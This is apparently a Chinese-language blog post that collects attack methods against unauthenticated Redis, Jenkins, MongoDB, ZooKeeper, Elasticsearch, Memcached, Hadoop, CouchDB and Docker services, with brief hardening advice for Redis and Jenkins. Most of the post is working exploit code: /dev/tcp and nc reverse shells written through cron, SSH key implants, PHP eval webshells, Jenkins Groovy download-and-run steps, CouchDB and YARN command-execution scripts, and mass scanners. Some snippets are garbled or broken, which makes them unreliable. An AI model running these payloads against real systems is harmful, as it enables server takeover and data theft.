Fork me on GitHub

未授权访问总结

参考文献:https://xz.aliyun.com/t/2320

自动扫描内网常见sql、no-sql数据库脚本(mysql、mssql、oracle、postgresql、redis、mongodb、memcached、elasticsearch),包含未授权访问及常规弱口令检测:
https://github.com/se55i0n/DBScanner

Redis未授权访问

1
2
3
4
5
6
7
8
9
* 查看信息:info
* 删除所有数据库内容:flushall
* 刷新数据库:flushdb
* 看所有键:KEYS *,使用select num可以查看键值数据。
* 设置变量:set test "who am i"
* 设置路径等配置:config set dir dirpath
* 获取路径及数据配置信息:config get dir/dbfilename
* 保存:save
* get 变量,查看变量名称

匿名扫描脚本:https://xz.aliyun.com/t/528

①利用计划任务执行命令反弹shell

在redis以root权限运行时可以写crontab来执行命令反弹shell
先在自己的服务器上监听一个端口

1
nc -lvnp 7999

然后执行命令:

1
2
3
4
5
root@kali:~## redis-cli -h xxx.xxx.x.xx
xxx.xxx.x.xx:6379> set x "\n* * * * * bash -i >& /dev/tcp/xxx.xxx.x.xx/7999 0>&1\n"
xxx.xxx.x.xx:6379> config set dir /var/spool/cron/
xxx.xxx.x.xx:6379> config set dbfilename root
xxx.xxx.x.xx:6379> save

②写ssh-keygen公钥然后使用私钥登陆
以前写过的文章https://www.jianshu.com/writer#/notebooks/10454425/notes/22403070

1
2
3
4
5
6
7
8
9
10
~/.ssh#ssh-keygen -t rsa
#(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
#cat foo.txt | redis-cli -h x.x.x.x -x set crackit
#redis-cli -h x.x.x.x
> config set dir /root/.ssh/
> config get dir
> config set dbfilename "authorized_keys"
> save

ssh -i id_rsa root@x.x.x.x


1
2
3
4
xxx.xxx.x.xx:6379> config set dir /root/.ssh/
xxx.xxx.x.xx:6379> config set dbfilename authorized_keys
xxx.xxx.x.xx:6379> set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKfxu58CbSzYFgd4BOjUyNSpbgpkzBHrEwH2/XD7rvaLFUzBIsciw9QoMS2ZPCbjO0IZL50Rro1478kguUuvQrv/RE/eHYgoav/k6OeyFtNQE4LYy5lezmOFKviUGgWtUrra407cGLgeorsAykL+lLExfaaG/d4TwrIj1sRz4/GeiWG6BZ8uQND9G+Vqbx/+zi3tRAz2PWBb45UXATQPvglwaNpGXVpI0dxV3j+kiaFyqjHAv541b/ElEdiaSadPjuW6iNGCRaTLHsQNToDgu92oAE2MLaEmOWuQz1gi90o6W1WfZfzmS8OJHX/GJBXAMgEgJhXRy2eRhSpbxaIVgx root@kali\n\n\n"
xxx.xxx.x.xx:6379> save

③往web物理路径写webshell
当redis权限不高时,并且服务器开着web服务,在redis有web目录写权限时,可以尝试往web路径写webshell

1
2
3
4
xxx.xxx.x.xx:6379> config set dir /var/www/html/
xxx.xxx.x.xx:6379> config set dbfilename shell.php
xxx.xxx.x.xx:6379> set x "<?php phpinfo();?>"
xxx.xxx.x.xx:6379> save

④写二进制文件,利用dns、icmp等协议上线(tcp协议不能出网)

写二进制文件跟前边有所不同,原因在于使用RDB方式备份redis数据库是默认情况下会对文件进行压缩,上传的二进制文件也会被压缩,而且文件前后存在脏数据,因此需要将默认压缩关闭,并且通过计划任务调用python清洗脏数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#文件名a.lua
local function hex2bin(hexstr)
local str = ""
for i = 1, string.len(hexstr) - 1, 2 do
local doublebytestr = string.sub(hexstr, i, i+1);
local n = tonumber(doublebytestr, 16);
if 0 == n then
str = str .. '\00'
else
str = str .. string.format("%c", n)
end
end
return str
end

local dir = redis.call('config','get','dir')
redis.call('config','set','dir','/tmp/')
local dbfilename = redis.call('config','get','dbfilename')
redis.call('config','set','dbfilename','t')
local rdbcompress = redis.call('config','get','rdbcompression')
redis.call('config','set','rdbcompression','no')
redis.call('flushall')

local data = '1a2b3c4d5e6f1223344556677890aa'//变量data保存的是程序的16进制编码
redis.call('set','data',hex2bin('0a7c7c7c'..data..'7c7c7c0a'))
local rst = {}
rst[1] = 'server default config'
rst[2] = 'dir:'..dir[2]
rst[3] = 'dbfilename:'..dbfilename[2]
rst[4] = 'rdbcompression:'..rdbcompress[2]
return rst

执行
redis-cli --eval a.lua -h xxx.xxx.x.xx
redis不支持在lua中调用save,需要手动执行save操作,并删除key data,恢复dir等。

1
2
3
4
redis-cli save -h xxx.xxx.x.xx
redis-cli config set dir *** -h xxx.xxx.x.xx
redis-cli config set dbfilename *** -h xxx.xxx.x.xx
redis-cli config set rdbcompression * -h xxx.xxx.x.xx

目前写入的文件前后是存在垃圾数据的,下一步通过写计划任务调用python或者系统命令提取出二进制文件(写文件时在数据前后加入了|||作为提取最终文件的标识)。
*/1 * * * * python -c 'open("/tmp/rst","a+").write(open("/tmp/t").read().split("|||")[1])'
/tmp/rst为最终上传的文件。

⑤傻瓜式python脚本
https://raw.githubusercontent.com/00theway/redis_exp/master/redis_exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
执行命令
需要root权限,每次添加计划任务前先获取服务器时间,然后根据获取的时间设置执行计划任务的时间,确保命令被执行一次,避免多次执行引发服务器异常。
python redis_exp.py --host xxx.xxx.x.xx -c 'id'

上传文件
上传携带脏数据的文件不需要root权限,上传二进制文件需要root权限,先上传带有脏数据的文件,在文件前后插入特征字符串,然后添加计划任务截取数据
python redis_exp.py --host xxx.xxx.x.xx -l /data/payload.py -r /tmp/p.py

暴力猜解目录
不需要root权限,利用 config set dir 'xx' 报错进行目录猜解
python redis_exp.py --host xxx.xxx.x.xx -f p.txt

可以通过-p参数更改默认端口,-t参数更改等待时间

⑥批量验证
https://github.com/Ridter/hackredis

防护措施
①禁止一些高危命令
修改 redis.conf文件,添加以下内容,来禁用远程修改 DB 文件地址

1
2
3
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""

②以低权限运行 Redis 服务
为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆
$ groupadd -r redis && useradd -r -g redis redis
③为 Redis 添加密码验证
修改 redis.conf 文件,添加
requirepass mypassword
④禁止外网访问 Redis
修改redis.conf文件,添加或修改,使得 Redis 服务只在当前主机可用
bind 127.0.0.1
⑤保证 authorized_keys 文件的安全
为了保证安全,阻止其他用户添加新的公钥。
authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:
chmod 400 ~/.ssh/authorized_keys
为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的immutable位权限:
chattr +i ~/.ssh/authorized_keys

然而,用户还可以重命名 ~/.ssh,然后新建新的~/.ssh目录和authorized_keys文件。要避免这种情况,需要设置~./ssh 的 immutable 位权限:
chattr +i ~/.ssh

Ps: 如果需要添加新的公钥,需要移除 authorized_keysimmutable位权限。然后,添加好新的公钥之后,按照上述步骤重新加上 immutable 位权限。
6.修改默认端口

指定Redis监听端口,默认端口为6379
redis-server --port 6380
⑦防火墙

1
2
3
4
5
6
7
8
9
10
11
// accept
iptables -A INPUT -p tcp -s 127.0.0.1 --dport 6379 -j ACCEPT
iptables -A INPUT -p udp -s 127.0.0.1 --dport 6379 -j ACCEPT

// drop
iptables -I INPUT -p tcp --dport 6379 -j DROP
iptables -I INPUT -p udp --dport 6379 -j DROP

// 保存规则并重启 iptables
service iptables save
service iptables restart

Jenkins未授权访问

①扫描探测

弱口令扫描:https://github.com/blackye/Jenkins 或者https://github.com/blackye/Jenkins
From: https://www.secpulse.com/archives/2166.html
CVE-2017-1000353:https://blogs.securiteam.com/index.php/archives/3171
Ps: script/manage 是管理页面

②攻击利用

2.1 反弹shell

1
2
3
println "wget http://xxx.xxx.x.xx :8081/exp -P /tmp/".execute().text
println "chmod +x /tmp/exp".execute().text
println "/tmp/exp".execute().text

或直接通过 Terminal+Plugin
https://wiki.jenkins.io/display/JENKINS/Terminal+Plugin

2.2 写webshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
1. println "wget http://shell.com/shell.txt -P /var/www/html/".execute().text

2. new File("/var/www/html/shell.php").write('<?php @eval($_POST[shell]);?>');

3.
def webshell = '<?php @eval($_POST[shell]);?>'
new File("/var/www/html/shell.php").write("$webshell");

4.
def execute(cmd) {
def proc = cmd.execute()
proc.waitFor()
}
execute( [ 'bash', '-c', 'echo -n "<?php @eval($" > /var/www/html/shell.php' ] )
execute( [ 'bash', '-c', 'echo "_POST[shell]);?>" >> /var/www/html/shell.php' ] )
//参数-n 不要在最后自动换行

2.3 读文件

1
2
3
4
5
6
7
8
9
try{

text = new File("/etc/passwd").getText();

out.print text

} catch(Exception e){

}

2.4 执行命令

1
2
3
4
5
def sout = new StringBuilder(), serr = new StringBuilder()
def proc = 'cat /etc/passwd'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

回显注意点

  • Result: 0 表示成功写入
  • Result: 1 表示目录不存在或者权限不足 写入失败
  • Result: 2 表示构造有异常 写入失败

jenkins可以对每个用户分配不同的权限,如Overall/RunScripts或者Job/Configure权限,某些版本匿名用户可以访问asynchPeople 可爆破密码(通常很多密码跟用户名一样或者是其他弱口令(top1000),尤其是内网)
防护措施

  • 在Jenkins管理页面添加访问密码。建议您使用由十位以上数字,字母和特殊符号组成的强密码。
  • 不要将管理后台开放到互联网上。可以使用ECS安全组策略设置访问控制,默认策略为拒绝所有通信。可以根据业务发布情况仅开放
  • 需要对外用户提供的服务,并控制好访问源IP

MongoDB未授权访问

MongoDB 默认直接连接,无须身份验证,如果当前机器可以公网访问,且不注意Mongodb 端口(默认 27017)的开放状态,那么Mongodb就会产生安全风险,被利用此配置漏洞,入侵数据库。

  • 使用默认 mongod 命令启动 Mongodb
  • 机器可以被公网访问
  • 在公网上开放了 Mongodb 端口
  • 数据库隐私泄露
  • 数据库被清空
  • 数据库运行缓慢

①扫描探测

下载:http://nmap.org/svn/scripts/mongodb-info.nse
nmap -p 27017 --script mongodb-info <ip>
1.2 批量扫描未授权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import socket
import sys
import pymongo

ipcons = []
def Scanner(ip):
global ipcons
sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sk.settimeout(0.3)
try:
sk.connect((ip,27017))
ipcons.append(ip)
sk.close()
except Exception:
pass

def ip2num(ip):
ip=[int(x) for x in ip.split('.')]
return ip[0] <<24 | ip[1]<<16 | ip[2]<<8 |ip[3]

def num2ip(num):
return '%s.%s.%s.%s' %( (num & 0xff000000) >>24,
(num & 0x00ff0000) >>16,
(num & 0x0000ff00) >>8,
num & 0x000000ff )

def get_ip(ip):
start,end = [ip2num(x) for x in ip.split(' ') ]
return [ num2ip(num) for num in range(start,end+1) if num & 0xff ]

startIp = sys.argv[1]
endIp = sys.argv[2]
iplist = get_ip(sys.argv[1]+" "+sys.argv[2])
for i in iplist:
Scanner(i)

def connMon(ip_addr):
print ' Connect mongodb: ' + ip_addr + ':27017'
try:
conn = pymongo.MongoClient(ip_addr,27017,socketTimeoutMS=3000)
dbname = conn.database_names()
print "success"
except Exception as e:
print "error"

print ipcons
for ipaddr in ipcons:
connMon(ipaddr)
print "================="

1.3 shodan扫描脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
##!/usr/bin/python
## -*- coding: UTF-8 -*-
'''
@Author:joy_nick
@博客:http://byd.dropsec.xyz/
'''
import shodan
import os
iplist = []
ip_list = []
shodan_ip_list = []
def shodanSearch(keywords):
SHODAN_API_KEY = "your key"
api = shodan.Shodan(SHODAN_API_KEY)
total = 0
try:
results = api.search(keywords)
total = int(results['total'])
for result in results['matches']:
##iplist.append({"ip":result['ip_str'],"country":result['location']['country_name']})
iplist.append(result['ip_str'])
for i in range(len(iplist)):
ip_list = iplist[i].encode('utf-8')
shodan_ip_list.append(ip_list)
s = '\n'.join(shodan_ip_list)
with open('shodan_ip_list.txt','w') as output:
output.write(s)
except shodan.APIError, e:
print 'Error: %s' % e
if __name__ == '__main__':
shodanSearch('redis')

ZooKeeper未授权访问

ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务,是Google的Chubby一个开源的实现,是Hadoop和Hbase的重要组件。它是一个为分布式应用提供一致性服务的软件,提供的功能包括:配置维护、域名服务、分布式同步、组服务等。
①扫描探测
ZooKeeper默认开启在2181端口,在未进行任何访问控制情况下,攻击者可通过执行envi命令获得系统大量的敏感信息,包括系统名称、Java环境。
./zkCli.sh -server 127.0.0.1 2181

1
2
nmap -sS -p2181 -oG zookeeper.gnmap 192.168.1.0/24  
grep "Ports: 2181/open/tcp" zookeeper.gnmap | cut -f 2 -d ' ' > Live.txt

②攻击获取信息

1
2
3
4
5
echo stat |ncat 127.0.0.1 2181//stat:列出关于性能和连接的客户端的统计信息。
echo ruok |ncat 127.0.0.1 2181//ruok:测试服务器是否运行在非错误状态。
echo reqs |ncat 127.0.0.1 2181//reqs:列出未完成的请求。
echo envi |ncat 127.0.0.1 2181//envi:打印有关服务环境的详细信息。
echo dump |ncat 127.0.0.1 2181//dump:列出未完成的会话和临时节点。

Elasticsearch未授权访问

ElasticSearch 是一款Java编写的企业级搜索服务,启动此服务默认会开放HTTP-9200端口,可被非法操作数据。
熟悉的响应

1
2
$ curl http://127.0.0.1:9200/_cat/indices/
{ "status" : 200, "name" : "Flake", "cluster_name" : "elasticsearch", "version" : {"number" : "1.4.1"," "build_hash" : "b88f43fc40b0bcd7f173xxxxx2e97816de80b19", "build_timestamp" : "2015-07-29T09:54:16Z", "build_snapshot" : false, "lucene_version" : "4.10.4"}, "tagline" : "You Know, for Search"}

②漏洞测试

安装了river之后可以同步多种数据库数据(包括关系型的mysql、mongodb等)。
http://localhost:9200/_cat/indices 里面的indices包含了_river一般就是安装了river了。

1
2
3
http://localhost:9200/_plugin/head/    web管理界面
http://localhost:9200/_river/_search  查看数据库敏感信息
http://localhost:9200/_nodes  查看节点数据

Memcache未授权访问

memcached是一套分布式的高速缓存系统。它以Key-Value(键值对)形式将数据存储在内存中,这些数据通常是应用读取频繁的。正因为内存中数据的读取远远大于硬盘,因此可以用来加速应用的访问
①扫描探测
nmap -sV -p 11211 --script memcached-info 0.0.0.0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
##! /usr/bin/env python
## _*_ coding:utf-8 _*_
def Memcache_check(ip, port=11211, timeout=5):
try:
socket.setdefaulttimeout(timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("stats\r\n")
result = s.recv(1024)
if "STAT version" in result:
print '[+] Memcache Unauthorized: ' +ip+':'+str(port)
except Exception, e:
pass
if __name__ == '__main__':
Elasticsearch_check("127.0.0.1")

②攻击利用
2.1 基础部分
{COMMAND}0x20{ARGUMENT}(LF|CRLF)
command字段有如下几条命令

  • 存储操作(set, add, replace, append, prepend, cas)
  • 检索操作 (get, gets)
  • 删除操作 (delete)
  • 增减操作 (incr, decr)
  • touch
  • slabs reassign
  • slabs automove
  • lru_crawler
  • 统计操作(stats items, slabs, cachedump)
  • 其他操作 (version, flush_all, quit)
1
2
3
4
stats  //查看memcache 服务状态
stats items //查看所有items
stats cachedump 32 0 //获得缓存key
get :state:264861539228401373:261588 //通过key读取相应value ,获得实际缓存内容,造成敏感信息泄露

2.2 建立连接并获取信息
telnet <target> 11211,或nc -vv <target> 11211,无需用户名密码,可以直接连接memcache 服务的11211端口。

Hadoop未授权访问

Hadoop是一款由Apache基金会推出的分布式系统框架,它通过著名的 MapReduce 算法进行分布式处理。这个框架被Adobe,Last fm,EBay,Yahoo等知名公司使用着。它极大地精简化程序员进行分布式计算时所需的操作,用户大概通过如下步骤在hadoop中实现分布式处理:

  • 用户创建一个处理键值的map函数
  • 产生了一套中间键/值
  • reduce函数合并中间值并把他们关联到对应的键
    敏感端口:
    1
    2
    3
    4
    5
    6
    HDFS	NameNode	50070
    HDFS SecondNameNode 50090
    HDFS DataNode 50075
    HDFS Backup/Checkpoint node 50105
    MapReduce JobTracker 50030
    MapReduce TaskTracker 50060

通过访问 NameNode WebUI 管理界面的 50070 端口,可以下载任意文件。而且,如果 DataNode 的默认端口 50075 开放,攻击者可以通过 HDSF 提供的 restful API 对 HDFS 存储的数据进行操作。
攻击手法

利用方法和原理中有一些不同。在没有 hadoop client 的情况下,直接通过 REST API 也可以提交任务执行。
利用过程如下:

  • 在本地监听等待反弹 shell 连接
  • 调用 New Application API 创建 Application
  • 调用 Submit Application API 提交
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    攻击脚本
    ##!/usr/bin/env python

    import requests

    target = 'http://127.0.0.1:8088/'
    lhost = '192.168.0.1' ## put your local host ip here, and listen at port 9999

    url = target + 'ws/v1/cluster/apps/new-application'
    resp = requests.post(url)
    app_id = resp.json()['application-id']
    url = target + 'ws/v1/cluster/apps'
    data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
    'commands': {
    'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
    },
    },
    'application-type': 'YARN',
    }
    requests.post(url, json=data)

CouchDB未授权访问

CouchDB 是一个开源的面向文档的数据库管理系统,可以通过 RESTful JavaScript Object Notation (JSON) API 访问。CouchDB会默认会在5984端口开放Restful的API接口,用于数据库的管理功能。
CouchDB允许用户指定一个二进制程序或者脚本,与CouchDB进行数据交互和处理,query_server在配置文件local.ini中的格式:

1
2
3
4
5
6
7
[query_servers]
LANGUAGE = PATH ARGS
默认情况下,配置文件中已经设置了两个query_servers:

[query_servers]
javascript = /usr/bin/couchjs /usr/share/couchdb/server/main.js
coffeescript = /usr/bin/couchjs /usr/share/couchdb/server/main-coffee.js

CouchDB在query_server中引入了外部的二进制程序来执行命令,如果我们可以更改这个配置,那么就可以利用数据库来执行命令了,在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12636是一个任意命令执行漏洞,我们可以通过config api修改couchdb的配置query_server,这个配置项在设计、执行view的时候将被运行(影响版本:小于 1.7.0 以及 小于 2.1.1,该漏洞是需要登录用户方可触发,如果不知道目标管理员密码,可以利用CVE-2017-12635先增加一个管理员用户。)

1.扫描探测
nmap -p 5984 --script "couchdb-stats.nse" 127.0.0.1

2.利用方式
(1) 1.6.0 下的说明

依次执行如下请求即可触发任意命令执行,其中,vulhub:vulhub为管理员账号密码。

1
2
3
4
5
6
7
8
9
#添加一个名字为cmd的query_servers,其值为id >/tmp/success,这就是我们后面待执行的命令。
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/_config/query_servers/cmd' -d '"id >/tmp/success"'

#添加一个Database和Document,这里添加了后面才能查询
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest'
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'

#在这个Database里进行查询,因为将language设置为cmd,这里就会用到第一步里添加的名为cmd的query_servers,最后触发命令执行
curl -X POST 'http://vulhub:vulhub@your-ip:5984/vultest/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'

(2) 2.1.0 下的说明

2.1.0中修改了上面用到的两个API,Couchdb 2.x 引入了集群,所以修改配置的API需要增加node name。带上账号密码访问/_membership即可:

http://vulhub:vulhub@your-ip:5984/_membership```
1
2
可见,这里只有一个node,名字是nonode@nohost。
然后,修改nonode@nohost的配置:

curl -X PUT http://vulhub:vulhub@your-ip:5984/_node/nonode@nohost/_config/query_servers/cmd -d ‘“id >/tmp/success”‘

1
然后,与1.6.0的利用方式相同,先增加一个Database和一个Document:

curl -X PUT ‘http://vulhub:vulhub@your-ip:5984/vultest'
curl -X PUT ‘http://vulhub:vulhub@your-ip:5984/vultest/vul' -d ‘{“_id”:”770895a97726d5ca6d70a22173005c7b”}’

1
Couchdb 2.x删除了`_temp_view`,为了触发query_servers中定义的命令,需要添加一个_view:

curl -X PUT http://vulhub:vulhub@your-ip:5984/vultest/_design/vul -d ‘{“_id”:”_design/test”,”views”:{“wooyun”:{“map”:””} },”language”:”cmd”}’ -H “Content-Type: application/json”

1
2
增加_view的同时即触发了query_servers中的命令。
*2.1 python脚本 支持高低版本,需要在version = 定义*

##!/usr/bin/env python3
import requests
from requests.auth import HTTPBasicAuth

target = ‘http://127.0.0.1:5984'
command = ‘“bash -i >& /dev/tcp/192.168.2.64/2222 0>&1”‘
version = 2

session = requests.session()
session.headers = {
‘Content-Type’: ‘application/json’
}

session.proxies = {

‘http’: ‘http://127.0.0.1:8085'

}

session.put(target + ‘/_users/org.couchdb.user:wooyun’, data=’’’{
“type”: “user”,
“name”: “wooyun”,
“roles”: [“_admin”],
“roles”: [],
“password”: “wooyun”
}’’’)

session.auth = HTTPBasicAuth(‘wooyun’, ‘wooyun’)

if version == 1:
session.put(target + (‘/_config/query_servers/cmd’), data=command)
else:
host = session.get(target + ‘/_membership’).json()[‘all_nodes’][0]
session.put(target + ‘/_node/{}/_config/query_servers/cmd’.format(host), data=command)

session.put(target + ‘/wooyun’)
session.put(target + ‘/wooyun/test’, data=’{“_id”: “wooyuntest”}’)

if version == 1:
session.post(target + ‘/wooyun/_temp_view?limit=10’, data=’{“language”:”cmd”,”map”:””}’)
else:
session.put(target + ‘/wooyun/_design/test’, data=’{“_id”:”_design/test”,”views”:{“wooyun”:{“map”:””} },”language”:”cmd”}’)

1
2.2 bash自动化脚本

#couchdb.sh

##!/bin/bash

echo CouchDB getshell - c0debreak - tools.changesec.com
echo

if [[ $## -ne 2 ]];then
echo Usage: $0 http://xx.xx.xx.xx:5984 myserver:myport
exit 1
else
server=$1
cb=${2/:/\/}
fi

function run() {
cmd=$1

curl -XPUT "$server/_config/query_servers/cmd" -d "\"$cmd\""
curl -XPUT "$server/example"
curl -XPUT "$server/example/record" -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
curl --max-time 1 "$server/example/_temp_view?limit=1" -d '{"language":"cmd", "map":""}' -H 'Content-Type: application/json'

}

run “echo ‘/bin/bash -i >& /dev/tcp/$cb 0>&1’ > /tmp/shell”
run “bash /tmp/shell”
run “rm -f /tmp/shell”

curl -XDELETE “$server/_config/query_servers/cmd”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
用法:
`sh couchdb.sh http://xx.xx.xx.xx:5984 myserver:myport`

# Docker未授权访问

**1.基础介绍**
docker swarm 是一个将docker集群变成单一虚拟的docker host工具,使用标准的Docker API,能够方便docker集群的管理和扩展,由docker官方提供。

在使用`docker swarm`的时候,管理的docker 节点上会开放一个TCP端口2375,绑定在0.0.0.0上,http访问会返回 404 page not found ,这是 Docker Remote API,可以执行docker命令,比如访问 `http://host:2375/containers/json`会返回服务器当前运行的 container列表,和在docker CLI上执行 docker ps 的效果一样,其他操作比如创建/删除container,拉取image等操作也都可以通过API调用完成。

swarm是用来管理docker集群的,应该放在内网。若在公网上的几台机器上安装swarm,并且2375端口的访问策略是开放的,可以直接访问。


*2.利用方法*
随意启动一个容器,并将宿主机的/etc目录挂载到容器中,便可以任意读写文件了。我们可以将命令写入crontab配置文件,进行反弹shell。

import docker

client = docker.DockerClient(base_url=’http://your-ip:2375/')
data = client.containers.run(‘alpine:latest’, r’’’sh -c “echo ‘ * /usr/bin/nc your-ip 21 -e /bin/sh’ >> /tmp/etc/crontabs/root” ‘’’, remove=True, volumes={‘/etc’: {‘bind’: ‘/tmp/etc’, ‘mode’: ‘rw’}})

1
2
3
写入crontab文件,成功反弹shell
**2.2 python脚本**
[https://github.com/Tycx2ry/docker_api_vul](https://github.com/Tycx2ry/docker_api_vul)

pip install -r requirements.txt//安装类库

python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375//查看运行的容器

python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -a//查看所有的容器

python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -l//查看所有镜像

python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -L//查看端口映射

python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -C -i 镜像名 -H 反弹ip -P 反弹
python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -C -u -i 镜像名 -H 反弹ip -P 反弹端口//端口写计划任务(centos,redhat等,加-u参数用于ubuntu等)

python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -C -i 镜像名 -k//写sshkey(自行修改脚本的中公钥)

python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -e “id” -I 容器id//在容器中执行命令

python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -c -I 容器id//删除容器

python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -v 1.22//修改client api版本

python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -V//查看服务端api版本
`

-------------本文结束感谢您的阅读-------------